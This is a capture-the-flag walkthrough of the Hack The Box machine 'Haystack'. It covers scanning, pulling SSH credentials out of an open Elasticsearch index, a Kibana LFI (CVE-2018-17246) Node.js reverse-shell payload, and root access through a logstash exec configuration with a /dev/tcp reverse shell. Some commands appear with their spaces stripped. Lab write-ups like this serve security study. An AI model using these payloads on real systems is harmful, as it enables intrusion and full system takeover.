On port 80 we get a an image with base64 encoded talking about key
On port 9200 we use elastic search to find credentials to ssh to the box and user flag
To escalate privileges, we use CVE-2018-17246 to get user kibana who has access to logstash which is running as root
Create a file based on the logstash configuration files and get a reverse shell as root
Nmap
nmap -sC -sV -p- 10.10.10.115 -oN nmap/Haystack
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-02 16:47 EST
Nmap scan report for 10.10.10.115
Host is up (0.039s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
| vulners:
| cpe:/a:openbsd:openssh:7.4:
| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
|_ CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 378.99 seconds
Enumeration
Checking Port 80
Checking the image
strings index.jpeg
# We get something encoded in base64
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
# Decoding it
echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
# Result
la aguja en el pajar es "clave"
Google Translate
Gobuster on port 80 did not returned anything. I also tried with different User Agent
gobusterdir-uhttp://10.10.10.115-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt-t100===============================================================Gobusterv3.0.1byOJReeves (@TheColonial) &ChristianMehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.115[+] Threads: 100[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Timeout: 10s===============================================================2020/03/0217:11:52Startinggobuster==============================================================================================================================2020/03/0217:13:34Finished===============================================================# Also tried with different user agent and nothinggobuster dir -u http://10.10.10.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -a Mozilla/5.0===============================================================Gobusterv3.0.1byOJReeves (@TheColonial) &ChristianMehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.115[+] Threads: 100[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: Mozilla/5.0[+] Timeout: 10s===============================================================2020/03/0217:14:35Startinggobuster==============================================================================================================================2020/03/0217:16:15Finished===============================================================
From the output above, we can see there are 253 total hits, so we are going to use the size and _searchparameter we discussed (learned from the API documentation)
curl-shttp://10.10.10.115:9200/quotes/_search?size=255|jq.|grep-iclave"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=""quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
The following also worked, I got this from the API documentation on how to search:
curl-shttp://10.10.10.115:9200/quotes/_search?q=clave|jq.{"took":8,"timed_out":false,"_shards":{"total":5,"successful":5,"skipped":0,"failed":0 },"hits":{"total":2,"max_score":5.9335938,"hits": [ {"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " } }, {"_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" } } ] }}
I learned a lot about elasticsearch, so now its time to see what we got. Please note that the reason I am using the word "clave" is because we got that from the initial picture
ssh to the box user the decoded credentials
user: security
pass: spanish.is.key
sshsecurity@10.10.10.115security@10.10.10.115's password: Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154[security@haystack ~]$ [security@haystack ~]$ iduid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023[security@haystack ~]$
Privilege Escalation
The server is listening on port 5601
[security@haystack ~]$ ss -nap |grep-ilisten|column-tu_strLISTEN0128/run/systemd/journal/stdout8966*0u_strLISTEN0128/run/systemd/private21256*0u_strLISTEN0128/run/lvm/lvmpolld.socket21563*0u_strLISTEN032/var/run/vmware/guestServicePipe37714*0u_strLISTEN0128/run/dbus/system_bus_socket33881*0u_strLISTEN0128/run/lvm/lvmetad.socket21604*0u_seqLISTEN0128/run/udev/control21461*0tcpLISTEN0128*:80*:*tcpLISTEN0128*:9200*:*tcpLISTEN0128*:22*:*tcpLISTEN0128127.0.0.1:5601*:*tcpLISTEN0128::ffff:127.0.0.1:9000:::*tcpLISTEN0128:::80:::*tcpLISTEN0128::ffff:127.0.0.1:9300:::*tcpLISTEN0128:::22:::*tcpLISTEN050::ffff:127.0.0.1:9600:::*
Using ssh port forwarding to checkout what's running on that port.
# To execute the port forwarding on the same session, I do:# ~C and hit enter# Here I'm going to use local port on my Kali 5602 to forward the connection# to Haystack over ssh to its port 5601[security@haystack ~]$ ssh> -L5602:127.0.0.1:5601Forwardingport.[security@haystack ~]$
Checking out port 5602, we notice it's running Kibana version 6.4.2
Google search on Kibana 6.4.2 takes to the following interesting GitHub page describing a CVE
Description: A Local File Inclusion on Kibana found by CyberArk Labs, the LFI can be use to execute a reverse shell on the Kibana server with the following payload:
(function(){var net =require("net"), cp =require("child_process"), sh =cp.spawn("/bin/sh", []);var client =new net.Socket();client.connect(1337,"172.18.0.1",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client); });return/a/; // Prevents the Node.js application form crashing})();
I used that code and modified it to get a reverse shell on my box. I placed the script in /dev/shm/ and I called it shell.js
To triggered the reverse shell, I used curl with the link in quotes to avoid bash from interpreting anything.
Basic Enumeration shows we have access to the logstash configurations.
find/-userroot-groupkibana-typef-ls2>/dev/null339147604-rw-r-----1rootkibana109jun242019/etc/logstash/conf.d/output.conf339147524-rw-r-----1rootkibana186jun242019/etc/logstash/conf.d/input.conf339147694-rw-r-----1rootkibana131jun202019/etc/logstash/conf.d/filter.conf# Contents of the configuration files# This is the input configbash-4.2$cat/etc/logstash/conf.d/input.confcat/etc/logstash/conf.d/input.confinput{file{path =>"/opt/kibana/logstash_*"start_position =>"beginning"sincedb_path =>"/dev/null"stat_interval =>"10 second"type =>"execute"mode =>"read" }}bash-4.2$# This is the filter configbash-4.2$cat/etc/logstash/conf.d/filter.confcat/etc/logstash/conf.d/filter.conffilter{if [type] =="execute"{grok{match =>{"message" =>"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}"} } }}bash-4.2$# This is the output configbash-4.2$cat/etc/logstash/conf.d/output.confcat/etc/logstash/conf.d/output.confoutput{if [type] =="execute"{stdout{codec =>json}exec{command =>"%{comando} &" } }}bash-4.2$
Based on the configuration files, we should be able to create a file under the directory /opt/kibana and name the file logstash_{whatever you want here} using the following format on its contents:
Ejecutar comando : {whatever commands we want here}The \s on the filter.conf means a literal space.
Getting a reverse shell with root privileges since logstash is running as root.
# On my Kali boxrlwrapnc-lnvp9009# On haystack as user kibana, we execute the following command to create the fileecho“Ejecutarcomando:bash-i>&/dev/tcp/10.10.14.20/90090>&1”>/opt/kibana/logstash_squid22# We get a root shellrlwrapnc-lnvp9009listeningon [any] 9009 ...connectto [10.10.14.20] from (UNKNOWN) [10.10.10.115] 49428bash:nohaycontroldetrabajosenesteshell[root@haystack /]# ididuid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0[root@haystack /]#